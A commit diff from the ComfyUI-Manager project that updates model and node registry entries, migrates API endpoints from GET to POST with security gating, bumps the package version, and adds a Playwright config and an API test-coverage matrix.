"base": "FLUX.1",
"save_path": "xlabs/controlnets",
"description": "ControlNet checkpoints for FLUX.1-dev model by Black Forest Labs.",
"reference": "https://huggingface.co/XLabs-AI/flux-controlnet-collections",
"filename": "flux-depth-controlnet-v3.safetensors",
"url": "https://huggingface.co/XLabs-AI/flux-controlnet-collections/resolve/main/flux-depth-controlnet-v3.safetensors",
"size": "1.49GB"
},
{
"name": "XLabs-AI/flux-hed-controlnet-v3.safetensors",
"type": "controlnet",
"base": "FLUX.1",
"save_path": "xlabs/controlnets",
"description": "ControlNet checkpoints for FLUX.1-dev model by Black Forest Labs.",
"reference": "https://huggingface.co/XLabs-AI/flux-controlnet-collections",
"filename": "flux-hed-controlnet-v3.safetensors",
"url": "https://huggingface.co/XLabs-AI/flux-controlnet-collections/resolve/main/flux-hed-controlnet-v3.safetensors",
"size": "1.49GB"
}
]
}
+30
View File
@@ -10,6 +10,16 @@
"install_type": "git-clone",
"description": "A minimal template for creating React/TypeScript frontend extensions for ComfyUI, with complete boilerplate setup including internationalization and unit testing."
},
{
"author": "comfyui-wiki",
"title": "ComfyUI-i18n-demo",
"reference": "https://github.com/comfyui-wiki/ComfyUI-i18n-demo",
"files": [
"https://github.com/comfyui-wiki/ComfyUI-i18n-demo"
],
"install_type": "git-clone",
"description": "ComfyUI custom node develop i18n support demo "
},
{
"author": "Suzie1",
"title": "Guide To Making Custom Nodes in ComfyUI",
@@ -341,6 +351,26 @@
],
"install_type": "git-clone",
"description": "A minimal test suite demonstrating how remote COMBO inputs behave in ComfyUI, with and without force_input"
},
{
"author": "J1mB091",
"title": "ComfyUI-J1mB091 Custom Nodes",
"reference": "https://github.com/J1mB091/ComfyUI-J1mB091",
"files": [
"https://github.com/J1mB091/ComfyUI-J1mB091"
],
"install_type": "git-clone",
"description": "Vibe Coded ComfyUI Custom Nodes"
},
{
"author": "aiforhumans",
"title": "XDev Nodes - Complete Toolkit",
"reference": "https://github.com/aiforhumans/comfyui-xdev-nodes",
"files": [
"https://github.com/aiforhumans/comfyui-xdev-nodes"
],
"install_type": "git-clone",
"description": "Complete ComfyUI development toolkit with 8 professional nodes including VAE tools, universal type testing, and comprehensive debugging infrastructure."
}
]
}
+175 -147
View File
@@ -78,6 +78,19 @@ components:
type: [string, 'null']
format: date-time
description: ISO timestamp when task execution ended
params:
description: Original task parameters (mirrors QueueTaskItem.params); null if unavailable
oneOf:
- $ref: '#/components/schemas/InstallPackParams'
- $ref: '#/components/schemas/UpdatePackParams'
- $ref: '#/components/schemas/UpdateAllPacksParams'
- $ref: '#/components/schemas/UpdateComfyUIParams'
- $ref: '#/components/schemas/FixPackParams'
- $ref: '#/components/schemas/UninstallPackParams'
- $ref: '#/components/schemas/DisablePackParams'
- $ref: '#/components/schemas/EnablePackParams'
- $ref: '#/components/schemas/ModelMetadata'
- type: 'null'
required: [ui_id, client_id, kind, timestamp, result]
TaskExecutionStatus:
type: object
@@ -412,12 +425,12 @@ components:
default: true
description: Whether to update to stable version (true) or nightly (false)
required: [client_id, ui_id]
ComfyUISwitchVersionQueryParams:
ComfyUISwitchVersionParams:
type: object
properties:
ver:
type: string
description: Version to switch to
description: Target ComfyUI version tag
client_id:
type: string
description: Client identifier that initiated the request
@@ -782,6 +795,39 @@ components:
minimum: 0
default: 0
required: [batch_id, start_time, state_before]
ImportFailInfoBulkRequest:
type: object
properties:
cnr_ids:
type: array
items:
type: string
description: A list of CNR IDs to check.
urls:
type: array
items:
type: string
description: A list of repository URLs to check.
ImportFailInfoBulkResponse:
type: object
additionalProperties:
$ref: '#/components/schemas/ImportFailInfoItem'
description: >-
A dictionary where each key is a cnr_id or url from the request,
and the value is the corresponding error info.
ImportFailInfoItem:
oneOf:
- type: object
properties:
error:
type: string
traceback:
type: string
- type: "null"
securitySchemes:
securityLevel:
type: apiKey
@@ -1009,25 +1055,51 @@ paths:
'400':
description: Error retrieving history list
/v2/manager/queue/start:
get:
post:
summary: Start queue processing
description: Starts processing the operation queue
description: Starts processing the operation queue.
responses:
'200':
description: Processing started
'201':
description: Processing already in progress
/v2/customnode/import_fail_info_bulk:
post:
summary: Get import failure info for multiple nodes
description: Retrieves recorded import failure information for a list of custom nodes.
tags:
- customnode
requestBody:
description: A list of CNR IDs or repository URLs to check.
required: true
content:
application/json:
schema:
$ref: '#/components/schemas/ImportFailInfoBulkRequest'
responses:
'200':
description: A dictionary containing the import failure information.
content:
application/json:
schema:
$ref: '#/components/schemas/ImportFailInfoBulkResponse'
'400':
description: Bad Request. The request body is invalid.
'500':
description: Internal Server Error.
/v2/manager/queue/reset:
get:
post:
summary: Reset queue
description: Resets the operation queue
description: Resets the operation queue.
responses:
'200':
description: Queue reset successfully
/v2/manager/queue/update_all:
get:
post:
summary: Update all custom nodes
description: Queues update operations for all installed custom nodes
description: Queues update operations for all installed custom nodes. Parameters are read from the query string.
security:
- securityLevel: []
parameters:
@@ -1044,9 +1116,9 @@ paths:
'403':
description: Security policy violation
/v2/manager/queue/update_comfyui:
get:
post:
summary: Update ComfyUI
description: Queues an update operation for ComfyUI itself
description: Queues an update operation for ComfyUI itself. Parameters are read from the query string.
parameters:
- $ref: '#/components/parameters/clientIdRequiredParam'
- $ref: '#/components/parameters/uiIdRequiredParam'
@@ -1158,9 +1230,9 @@ paths:
items:
$ref: '#/components/schemas/SnapshotItem'
/v2/snapshot/remove:
get:
post:
summary: Remove snapshot
description: Removes a specified snapshot
description: Removes a specified snapshot. The `target` parameter is read from the query string.
security:
- securityLevel: []
parameters:
@@ -1173,9 +1245,9 @@ paths:
'403':
description: Security policy violation
/v2/snapshot/restore:
get:
post:
summary: Restore snapshot
description: Restores a specified snapshot
description: Restores a specified snapshot. The `target` parameter is read from the query string.
security:
- securityLevel: []
parameters:
@@ -1201,97 +1273,14 @@ paths:
'400':
description: Error creating snapshot
/v2/snapshot/save:
get:
post:
summary: Save snapshot
description: Saves the current system state as a new snapshot
description: Saves the current system state as a new snapshot.
responses:
'200':
description: Snapshot saved successfully
'400':
description: Error saving snapshot
/v2/snapshot/diff:
get:
summary: Get snapshot diff
description: Returns the changes that would occur when restoring from the 'from' snapshot to the 'to' snapshot.
parameters:
- name: from
in: query
required: false
description: This parameter refers to the existing snapshot; if omitted, it defaults to the current snapshot.
schema:
type: string
- name: to
in: query
required: true
description: This parameter is the snapshot to compare against the existing snapshot.
schema:
type: string
responses:
'200':
description: Successful operation
content:
application/json:
schema:
type: object
properties:
nodepack_diff:
type: object
properties:
added:
type: object
additionalProperties:
type: string
removed:
type: array
items:
type: string
upgraded:
type: object
additionalProperties:
type: object
properties:
from:
type: string
to:
type: string
downgraded:
type: object
additionalProperties:
type: object
properties:
from:
type: string
to:
type: string
changed:
type: array
items:
type: string
pip_diff:
type: object
properties:
added:
type: object
additionalProperties:
type: string
upgraded:
type: object
additionalProperties:
type: object
properties:
from:
type: string
to:
type: string
downgraded:
type: object
additionalProperties:
type: object
properties:
from:
type: string
to:
type: string
# ComfyUI Management Endpoints (v2)
/v2/comfyui_manager/comfyui_versions:
get:
@@ -1314,76 +1303,96 @@ paths:
'400':
description: Error retrieving versions
/v2/comfyui_manager/comfyui_switch_version:
get:
post:
summary: Switch ComfyUI version
description: Switches to a specified ComfyUI version
parameters:
- name: ver
in: query
required: true
description: Target version
schema:
type: string
- $ref: '#/components/parameters/clientIdRequiredParam'
- $ref: '#/components/parameters/uiIdRequiredParam'
description: Switches to a specified ComfyUI version. Gated at `high+` security level; returns 403 under the default `normal` profile. Parameters are read from a JSON request body (migrated from query string in v4.2 — see CHANGELOG Migration notes).
security:
- securityLevel: []
requestBody:
required: true
content:
application/json:
schema:
$ref: '#/components/schemas/ComfyUISwitchVersionParams'
responses:
'200':
description: Version switch queued successfully
'400':
description: Missing required parameters or error switching version
description: Invalid JSON body, missing required fields, or error switching version
'403':
description: Security level below `high+` — request rejected
# Configuration Endpoints (v2)
/v2/manager/db_mode:
get:
summary: Get or set database mode
description: Gets or sets the database mode
parameters:
- name: value
in: query
required: false
description: New database mode
schema:
type: string
enum: [channel, local, remote]
summary: Get database mode
description: Returns the current database mode.
responses:
'200':
description: Setting updated or current value returned
description: Current value returned
content:
text/plain:
schema:
type: string
enum: [channel, local, remote]
post:
summary: Set database mode
description: Sets the database mode. Payload is a JSON object with a `value` field.
requestBody:
required: true
content:
application/json:
schema:
type: object
required: [value]
properties:
value:
type: string
enum: [channel, local, remote]
description: New database mode
responses:
'200':
description: Setting updated
'400':
description: Invalid request (malformed JSON, missing `value`, or value not in allowed enum)
/v2/manager/policy/update:
get:
summary: Get or set update policy
description: Gets or sets the update policy
parameters:
- name: value
in: query
required: false
description: New update policy
schema:
type: string
enum: [stable, nightly, nightly-comfyui]
summary: Get update policy
description: Returns the current update policy.
responses:
'200':
description: Setting updated or current value returned
description: Current value returned
content:
text/plain:
schema:
type: string
/v2/manager/channel_url_list:
get:
summary: Get or set channel URL
description: Gets or sets the channel URL for custom node sources
parameters:
- name: value
in: query
required: false
description: New channel name
schema:
type: string
enum: [stable, nightly, nightly-comfyui]
post:
summary: Set update policy
description: Sets the update policy. Payload is a JSON object with a `value` field.
requestBody:
required: true
content:
application/json:
schema:
type: object
required: [value]
properties:
value:
type: string
enum: [stable, nightly, nightly-comfyui]
description: New update policy
responses:
'200':
description: Setting updated or channel list returned
description: Setting updated
'400':
description: Invalid request (malformed JSON, missing `value`, or value not in allowed enum)
/v2/manager/channel_url_list:
get:
summary: Get channel URL list
description: Returns the selected channel and the full channel list for custom node sources.
responses:
'200':
description: Selected channel and channel list returned
content:
application/json:
schema:
@@ -1400,10 +1409,29 @@ paths:
type: string
url:
type: string
post:
summary: Set channel URL
description: Sets the channel URL for custom node sources by channel name. Payload is a JSON object with a `value` field containing the channel name.
requestBody:
required: true
content:
application/json:
schema:
type: object
required: [value]
properties:
value:
type: string
description: Channel name (must be present in the channel list returned by GET)
responses:
'200':
description: Channel updated
'400':
description: Invalid request — malformed JSON, missing `value`, or unknown channel name
/v2/manager/reboot:
get:
post:
summary: Reboot ComfyUI
description: Restarts the ComfyUI server
description: Restarts the ComfyUI server.
security:
- securityLevel: []
responses:
+20
View File
@@ -0,0 +1,20 @@
import { defineConfig } from '@playwright/test';
export default defineConfig({
testDir: './tests/playwright',
testMatch: '**/*.{spec,test}.ts',
timeout: 60_000,
retries: 0,
use: {
baseURL: `http://127.0.0.1:${process.env.PORT || 8199}`,
headless: true,
screenshot: 'only-on-failure',
trace: 'retain-on-failure',
},
projects: [
{
name: 'chromium',
use: { browserName: 'chromium' },
},
],
});
+6 -6
View File
@@ -5,7 +5,7 @@ build-backend = "setuptools.build_meta"
[project]
name = "comfyui-manager"
license = { text = "GPL-3.0-only" }
version = "4.0.0-beta.10"
version = "4.2.2"
requires-python = ">= 3.9"
description = "ComfyUI-Manager provides features to install and manage custom nodes for ComfyUI, as well as various functionalities to assist with ComfyUI."
readme = "README.md"
@@ -19,7 +19,7 @@ maintainers = [
]
classifiers = [
"Development Status :: 4 - Beta",
"Development Status :: 5 - Production/Stable",
"Intended Audience :: Developers",
"License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
]
@@ -27,7 +27,7 @@ classifiers = [
dependencies = [
"GitPython",
"PyGithub",
"matrix-client==0.4.0",
# "matrix-nio",
"transformers",
"huggingface-hub>0.20",
"typer",
@@ -39,17 +39,17 @@ dependencies = [
]
[project.optional-dependencies]
dev = ["pre-commit", "pytest", "ruff", "pytest-cov"]
dev = ["pre-commit", "pytest", "ruff", "pytest-cov", "pygit2>=1.18"]
[project.urls]
Repository = "https://github.com/ltdrdata/ComfyUI-Manager"
[tool.setuptools.packages.find]
where = ["."]
include = ["comfyui_manager*"]
include = ["comfyui_manager*", "cm_cli*"]
[project.scripts]
cm-cli = "comfyui_manager.cm_cli.__main__:main"
cm-cli = "cm_cli:main"
[tool.ruff]
line-length = 120
+355
View File
@@ -0,0 +1,355 @@
# API Coverage Matrix — pytest E2E + Playwright
**Date**: 2026-04-20
**Worklist**: `wl-afbf982ffe41`
**Checklist**: `cl-20260420-wl-afbf982ff`
**Scope**: 39 unique (method, path) endpoints across glob and legacy managers.
**Sources**: 4 member checklist YAMLs (gteam-teng 10 · gteam-reviewer 10 · gteam-dev 10 · gteam-dbg 9).
---
## 1. Coverage Summary
| Axis | Y | I | N | P | NA | Total |
|---|---:|---:|---:|---:|---:|---:|
| **pytest E2E** | 38 | 1 | 0 | — | — | 39 |
| **Playwright** | 17 | — | 1 | 14 | 7 | 39 |
### Code legend
| Code | pytest meaning | Playwright meaning |
|------|----------------|--------------------|
| **Y** | Direct positive-path test exists | UI trigger exists AND a spec exercises it |
| **I** | Indirect only (e.g. CSRF-reject test, no positive assertion) | — |
| **N** | No coverage | Endpoint has no UI surface AND no spec covers it (1 case, wi-009 internal-only) |
| **P** | — | UI trigger exists but NO spec exercises it (PENDING Playwright) |
| **NA** | — | Endpoint has no UI surface at all (backend/CLI/gating only) |
### Effective pytest ceiling
Y (direct) + I (indirect) = **39 / 39 = 100%** — post-WI-UU every endpoint
has automated pytest coverage. The 6 legacy-only GET endpoints
(wi-031/032/033/034/035/036) that were `N` at matrix creation have been
closed as `Y (WI-TT)` via direct positive-path tests in
`tests/e2e/test_e2e_legacy_endpoints.py` (§22 of
`e2e_verification_audit.md`). wi-039 (POST /v2/manager/queue/batch) was
closed as `Y (WI-UU)` via `TestLegacyQueueBatch` in the same file — empty
`{}` payload exercises request-parse → action loop → finalize →
worker-lock release → JSON serialize. Only 1 I-rated row remains: wi-027
POST /v2/snapshot/restore, which stays I by intentional design (the
endpoint is destructive and is covered only behind a skip-by-default
marker; upgrading it to Y would require a reversible snapshot fixture).
Count progression: matrix-creation baseline Y=29/I=4/N=6 → post-WI-YY
Y=31/I=2/N=6 → post-WI-TT Y=37/I=2/N=0 → **post-WI-UU Y=38/I=1/N=0**.
### Playwright P = systemic gap
10 / 39 = **26%** of endpoints have a UI trigger that Playwright never
exercises. Originally 18/39 = 46%; WI-VV closed 4 LOW-risk P items
(wi-001 / wi-005 / wi-017 / wi-021) via real UI-click tests; WI-WW closed
5 MED items via mock-based UI→API wiring tests; WI-WW.2 closed wi-015 via
a 2-hop mock. **WI-YY** then replaced 2 of the WI-WW mocks (wi-020, wi-024)
with real pytest E2E execution — the mocks were removed and the Playwright
column reverted to P (UI-click path unexercised — pytest covers the
backend contract). The remaining 10 P items are: wi-014/037/038
(retained as WI-WW mocks — real execution requires `high+` security gate
that fails at default `security_level=normal`, needs a permissive
harness — scope for WI-YY.2), plus 7 other source-checklist-classified
P items outside the WI-VV/WW/WW.2/YY scope.
**Honesty note on mock-based closures**: rows marked `Y (WI-WW-mock)`
assert UI→API wiring only — request URL + method + payload shape.
They do NOT assert backend handler behavior, which pytest covers via
positive-path tests. A regression that kept the UI firing correctly
but broke the backend would not be caught by the mock tests alone.
---
## 2. Tier Distribution
39 endpoints split across three registration tiers:
| Tier | Count | Definition |
|------|------:|------------|
| Shared | 29 | Registered in BOTH `glob/manager_server.py` AND `legacy/manager_server.py` |
| glob-only | 1 | Registered only in `glob/manager_server.py` |
| legacy-only | 9 | Registered only in `legacy/manager_server.py` |
> **Note on dispatch**: the WI-SS-E dispatch text cited `Shared 28, glob-only 2,
> legacy-only 9` but source-code verification (grep of `@routes.(get\|post)` in
> both managers) yields 29/1/9. Only `POST /v2/manager/queue/task` is confirmed
> glob-only by the audit (`reports/e2e_verification_audit.md:299`). This
> matrix reports the verified counts.
### Tier × coverage crosstab
| Tier | pytest Y | pytest I | pytest N | PW Y | PW P | PW NA | PW N |
|------|---------:|---------:|---------:|-----:|-----:|------:|-----:|
| Shared (29) | 28 | 1 | 0 | 15 | 7 | 6 | 1 |
| glob-only (1) | 1 | 0 | 0 | 0 | 0 | 1 | 0 |
| legacy-only (9) | 9 | 0 | 0 | 2 | 7 | 0 | 0 |
| **Total** | **38** | **1** | **0** | **17** | **14** | **7** | **1** |
**Observations** (post-WI-UU):
- Legacy-only (9) pytest coverage is now **fully direct**: 9 Y + 0 I +
0 N. WI-TT closed 6 N → Y (wi-031/032/033/034/035/036). WI-YY-real
closed 2 I → Y (wi-037/038 via the permissive harness). WI-UU closed
the final I → Y (wi-039 via `TestLegacyQueueBatch`). The remaining
weakness for this tier is Playwright — 7/9 are Playwright-P.
- Shared (29) holds the sole remaining pytest-I (wi-027 snapshot/restore,
intentional skip-by-default design). 0 pytest-N, balanced Y/P on
Playwright.
- glob-only has only 1 endpoint (queue/task) and it is Playwright-NA by
design — the legacy UI uses `queue/batch` (wi-039) instead.
---
## 3. Full Matrix (39 rows, sorted by wi-id)
| wi | METHOD path | tier | pytest | Playwright | gap |
|---|---|---|---|---|---|
| wi-001 | GET /v2/comfyui_manager/comfyui_versions | shared | Y | Y (WI-VV) | 🟢 closed — legacy-ui-manager-menu.spec.ts asserts Switch ComfyUI click → GET returns non-empty versions list |
| wi-002 | GET /v2/customnode/fetch_updates | shared | Y | NA | 🟢 none (deprecated 410, no JS trigger) |
| wi-003 | GET /v2/customnode/getmappings | shared | Y | Y | 🟢 none (dual coverage) |
| wi-004 | GET /v2/customnode/installed | shared | Y | Y | 🟢 none (dual coverage) |
| wi-005 | GET /v2/manager/channel_url_list | shared | Y | Y (WI-VV) | 🟢 closed — legacy-ui-manager-menu.spec.ts polls channel combo for populated options via stable selector `select[title^="Configure the channel"]` |
| wi-006 | GET /v2/manager/db_mode | shared | Y | Y | 🟢 none (dual coverage) |
| wi-007 | GET /v2/manager/is_legacy_manager_ui | shared | Y | NA | 🟢 none (server-side gating flag) |
| wi-008 | GET /v2/manager/policy/update | shared | Y | P | 🟢 LOW — add Playwright assertion (pytest fully covers contract) |
| wi-009 | GET /v2/manager/queue/history | shared | Y | N | 🟢 none (no UI surface, internal API only) |
| wi-010 | GET /v2/manager/queue/history_list | shared | Y | NA | 🟢 none (backend-only, not surfaced in UI) |
| wi-011 | GET /v2/manager/queue/status | shared | Y | Y | 🟢 none (dual coverage) |
| wi-012 | GET /v2/manager/version | shared | Y | P | 🟢 LOW — add version-string assertion to bootstrap spec |
| wi-013 | GET /v2/snapshot/get_current | shared | Y | P | 🟢 none — 3rd-party share extensions only, out-of-scope for legacy-ui |
| wi-014 | POST /v2/comfyui_manager/comfyui_switch_version | shared | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestSwitchComfyuiSelfSwitch executes real POST via permissive-harness (security_level=normal-) with a no-op self-switch (ver=<current>). Playwright mock REMOVED. |
| wi-015 | POST /v2/customnode/import_fail_info | shared | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestImportFailInfoReal pre-seeds `ComfyUI-YoloWorld-EfficientSAM` via git clone (no pip install), scan captures ImportError in cm_global.error_dict, warmup via `/v2/customnode/import_fail_info_bulk` populates active_nodes, then POST single-endpoint with cnr_id=directory-basename returns the captured `{name, path, msg}` payload. Playwright mock REMOVED (spec file deleted). |
| wi-016 | POST /v2/customnode/import_fail_info_bulk | shared | Y | NA | 🟢 none (server-internal/CLI-only) |
| wi-017 | POST /v2/manager/channel_url_list | shared | Y | Y (WI-VV) | 🟢 closed — legacy-ui-manager-menu.spec.ts selects alternate option, intercepts POST → 200, restores original in finally |
| wi-018 | POST /v2/manager/db_mode | shared | Y | Y | 🟢 none (dual coverage via UI close-reopen round-trip) |
| wi-019 | POST /v2/manager/policy/update | shared | Y | Y | 🟢 none (dual coverage) |
| wi-020 | POST /v2/manager/queue/install_model | shared | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestInstallModelRealDownload downloads the real TAEF1 Decoder (~4.7MB from github.com/madebyollin/taesd raw), polls for disk artifact, asserts size > 1MB, teardown deletes file. Playwright mock REMOVED in WI-YY; UI-click path still unexercised (P) — scope for WI-YY.2 if needed. |
| wi-021 | POST /v2/manager/queue/reset | shared | Y | Y (WI-VV) | 🟢 closed — legacy-ui-manager-menu.spec.ts exercises endpoint via `page.request.post` (UI-click path unsafe at idle: restart_stop_button at idle triggers rebootAPI, not queue/reset; `.cn-manager-stop` / `.model-manager-stop` are display:none). Asserts 200 + queue/status still callable post-reset. |
| wi-022 | POST /v2/manager/queue/start | shared | Y | NA | 🟢 none (server/test-only) |
| wi-023 | POST /v2/manager/queue/update_all | shared | Y | NA | 🟢 LOW — UI uses queue/batch not this endpoint (possibly CLI-only; confirm intent) |
| wi-024 | POST /v2/manager/queue/update_comfyui | shared | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestUpdateComfyuiQueued asserts direct endpoint returns 200 at default security_level (no gate — legacy/manager_server.py:1572-1576). Handler just queues an "update-comfyui" entry; triggering git pull would require a subsequent /queue/batch call (explicitly avoided to preserve test-env git state). COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1 safety belt exported at server startup covers pip install runaway risk. Playwright mock REMOVED in WI-YY. |
| wi-025 | POST /v2/manager/reboot | shared | Y | P | 🟢 none — visibility checked; click omitted for safety (would kill test server) |
| wi-026 | POST /v2/snapshot/remove | shared | Y | Y | 🟢 none (dual coverage) |
| wi-027 | POST /v2/snapshot/restore | shared | I | P | 🟡 add pytest coverage behind skip-by-default (reversible via saved snapshot); Playwright restore also missing |
| wi-028 | POST /v2/snapshot/save | shared | Y | Y | 🟢 none (strong dual coverage) |
| wi-029 | GET /v2/snapshot/getlist | shared | Y | Y | 🟢 none (dual coverage) |
| wi-030 | POST /v2/manager/queue/task | glob-only | Y | NA | 🟢 LOW — glob-UI Playwright harness needed to cover queue/task from UI tier |
| wi-031 | GET /customnode/alternatives | legacy-only | Y (WI-TT) | P | 🟢 closed — test_e2e_legacy_endpoints.py (§22 of e2e_verification_audit) asserts positive-path GET with `mode=local` |
| wi-032 | GET /v2/customnode/disabled_versions/{node_name} | legacy-only | Y (WI-TT) | P | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts disabled-version list schema |
| wi-033 | GET /v2/customnode/getlist | legacy-only | Y (WI-TT) | Y | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts schema (`channel`/`node_packs`) + mode param variants |
| wi-034 | GET /v2/customnode/versions/{node_name} | legacy-only | Y (WI-TT) | Y | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts schema + 404 |
| wi-035 | GET /v2/externalmodel/getlist | legacy-only | Y (WI-TT) | Y | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts `?mode=local` schema + non-empty list |
| wi-036 | GET /v2/manager/notice | legacy-only | Y (WI-TT) | P | 🟢 closed — test_e2e_legacy_endpoints.py (§22) asserts notice payload (200 + dict) |
| wi-037 | POST /v2/customnode/install/git_url | legacy-only | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestInstallViaGitUrlRealClone executes real POST via permissive-harness cloning `nodepack-test1-do-not-install` (same test-fixture repo used by tests/cli/test_uv_compile.py); verifies custom_nodes/<dir>/.git exists; teardown rm -rf. Playwright mock REMOVED. |
| wi-038 | POST /v2/customnode/install/pip | legacy-only | Y (WI-YY-real) | P | 🟢 pytest closed — test_e2e_legacy_real_ops.py::TestInstallPipRealExecute executes real POST via permissive-harness with trusted `text-unidecode` pkg; asserts install-scripts.txt lazy reservation (handler uses `#FORCE` prefix at manager_core.py:2370 → reserve_script schedules pip install for next startup, not synchronous). Playwright mock REMOVED. |
| wi-039 | POST /v2/manager/queue/batch | legacy-only | Y (WI-UU) | Y | 🟢 closed via TestLegacyQueueBatch empty-`{}` payload positive-path (exercises request-parse → action loop → finalize → worker-lock release → JSON serialize pipeline); response shape `{failed: [...]}` status 200; landed in `tests/e2e/test_e2e_legacy_endpoints.py` (§22 of e2e_verification_audit) |
---
## 4. Priority Gap List
### 🔴 HIGH — ALL CLOSED (0 items)
_All 🔴 HIGH gaps have been closed. WI-TT closed the 6 pytest-N items
(wi-031/032/033/034/035/036 — see LOW-closed-WI-TT). WI-YY-real promoted
wi-037/038 from I to Y via the permissive harness (see
LOW-closed-real-permissive). WI-UU closed the final high-fanout indirect
item — wi-039 (POST /v2/manager/queue/batch) — via
`TestLegacyQueueBatch`; see LOW-closed-WI-UU below._
### 🟡 MEDIUM — Playwright P with real UI surface
All 10 original MED items have been closed across WI-VV / WI-WW / WI-WW.2. No remaining 🟡 items at the legacy-UI surface.
### 🟢 LOW-closed-real (4 items via WI-VV — real UI-click)
- wi-001 GET comfyui_versions — 'Switch ComfyUI' button → legacy-ui-manager-menu.spec.ts
- wi-005 GET channel_url_list — channel combo populate → legacy-ui-manager-menu.spec.ts
- wi-017 POST channel_url_list — channel combo change event → legacy-ui-manager-menu.spec.ts
- wi-021 POST queue/reset — idle POST via `page.request` (UI-click path unsafe at idle) → legacy-ui-manager-menu.spec.ts
### 🟢 LOW-closed-mock (removed in WI-YY)
Previously 3 items (wi-014/037/038) were covered by WI-WW mock tests.
All three have been PROMOTED to real pytest E2E via the permissive
harness (see LOW-closed-real-permissive below). The `high+` gate
remains the production security contract — it's the supported
operator-configured downgrade to `normal-` that enables these
features in trusted environments, which is exactly what the harness
reproduces.
### 🟢 LOW-closed-mock-2hop (retired — promoted to real E2E via WI-YY.3)
Originally wi-015 was covered via a 2-hop Playwright mock (WI-WW.2).
WI-YY.3 replaced this with real pytest E2E using a pre-seeded broken
pack (see LOW-closed-real-broken-pack-preseed below). The mock spec
file `tests/playwright/legacy-ui-mock-install.spec.ts` has been
DELETED — all 6 items it once covered now have real pytest E2E
coverage (via default / permissive / broken-pack fixtures).
### 🟢 LOW-closed-real (2 items via WI-YY — REAL pytest E2E at default security)
- wi-020 POST install_model — TestInstallModelRealDownload (real 4.7MB TAEF1 download + disk-artifact verify + teardown) → test_e2e_legacy_real_ops.py
- wi-024 POST update_comfyui — TestUpdateComfyuiQueued (direct endpoint POST returns 200; worker-trigger intentionally deferred to preserve test-env git state) → test_e2e_legacy_real_ops.py
### 🟢 LOW-closed-real-permissive (3 items via WI-YY — REAL pytest E2E at normal- security)
Permissive harness (`start_comfyui_permissive.sh`) patches config.ini
`security_level = normal-` so `high+` gates pass. All inputs are
HARDCODED TRUSTED constants — never derived from test input or env:
- wi-014 POST comfyui_switch_version — TestSwitchComfyuiSelfSwitch (self-switch no-op: GET current version → POST ver=<current>) → test_e2e_legacy_real_ops.py
- wi-037 POST install/git_url — TestInstallViaGitUrlRealClone (real clone of `nodepack-test1-do-not-install` → verify .git dir → rm -rf teardown) → test_e2e_legacy_real_ops.py
- wi-038 POST install/pip — TestInstallPipRealExecute (POST text-unidecode → verify install-scripts.txt reservation; lazy schedule per manager_core.py:2370 `#FORCE` prefix → reserve_script) → test_e2e_legacy_real_ops.py
### 🟢 LOW-closed-real-broken-pack-preseed (1 item via WI-YY.3 — REAL pytest E2E with state seeding)
Pre-seed fixture (`comfyui_with_broken_pack`) clones a known-broken
pack into custom_nodes/ BEFORE server start (NO pip install of its
deps — import must fail). Server scan captures the ImportError into
cm_global.error_dict (prestartup_script.py:302-305). Test warms up
state via `/v2/customnode/import_fail_info_bulk` (which calls
reload + get_custom_nodes), then POSTs single-endpoint with the
DIRECTORY-BASENAME cnr_id. Teardown rm -rf the seed.
- wi-015 POST import_fail_info — TestImportFailInfoReal::test_import_fail_info_returns_error (cnr_id=`ComfyUI-YoloWorld-EfficientSAM` → 200 + {name, path, msg} with real traceback) + test_import_fail_info_unknown_cnr_id_returns_400 (control) → test_e2e_legacy_real_ops.py
### 🟢 LOW-closed-WI-TT (6 items — pytest N→Y via direct positive-path)
All 6 legacy-only GET endpoints that were `pytest=N` at matrix creation
have been closed via direct positive-path tests landed in
`tests/e2e/test_e2e_legacy_endpoints.py` (Section 22 of
`e2e_verification_audit.md`). This lifts pytest effective ceiling from
33/39 = 85% to **39/39 = 100%**.
- wi-031 GET /customnode/alternatives — closed (mode=local schema + list)
- wi-032 GET /v2/customnode/disabled_versions/{node_name} — closed (disabled-version list)
- wi-033 GET /v2/customnode/getlist — closed (channel / node_packs + mode variants)
- wi-034 GET /v2/customnode/versions/{node_name} — closed (schema + 404)
- wi-035 GET /v2/externalmodel/getlist — closed (?mode=local schema + non-empty)
- wi-036 GET /v2/manager/notice — closed (notice payload / 200 + dict)
### 🟢 LOW-closed-WI-UU (1 item — high-fanout pytest I→Y via direct positive-path)
The final 🔴 HIGH item (wi-039 POST /v2/manager/queue/batch,
high-fanout over install_model / update_all / update_comfyui) has been
closed via direct positive-path in
`tests/e2e/test_e2e_legacy_endpoints.py` (§22 of
`e2e_verification_audit.md`). This lifts pytest to **38 Y + 1 I + 0 N**;
the last I is wi-027 snapshot/restore, retained by intentional design.
- wi-039 POST /v2/manager/queue/batch — closed (TestLegacyQueueBatch empty-`{}` payload; exercises request-parse → action loop → finalize → worker-lock release → JSON serialize; response shape `{failed: [...]}` status 200)
**Note**: wi-027 POST snapshot/restore is MED on Playwright (UI trigger at
`snapshot.js:12`) and HIGH on pytest (intentionally untested as destructive;
needs skip-by-default marker).
### 🟢 LOW / adequate-with-rationale
- wi-023 POST queue/update_all — UI uses `/queue/batch` not this endpoint (possibly CLI-only)
- wi-025 POST reboot — click intentionally omitted; clicking would kill the test server mid-run
- wi-022 POST queue/start, wi-010 history_list, wi-030 queue/task — server/test-only or glob-UI N/A
- wi-016 POST import_fail_info_bulk — backend/CLI-only path
- wi-002 GET fetch_updates — deprecated 410, no JS trigger
- wi-009 GET queue/history — internal API only (no UI surface)
- wi-013 GET snapshot/get_current — 3rd-party share extensions only (out-of-scope for legacy-ui)
- wi-008 GET policy/update, wi-012 GET manager/version — pytest fully covers contract; Playwright add would be nice-to-have
---
## 5. Key Systemic Observations
1. **Playwright P = 14 / 39 = 36%** (post WI-VV+WW+WW.2+YY+YY.3; was 18/39=46%).
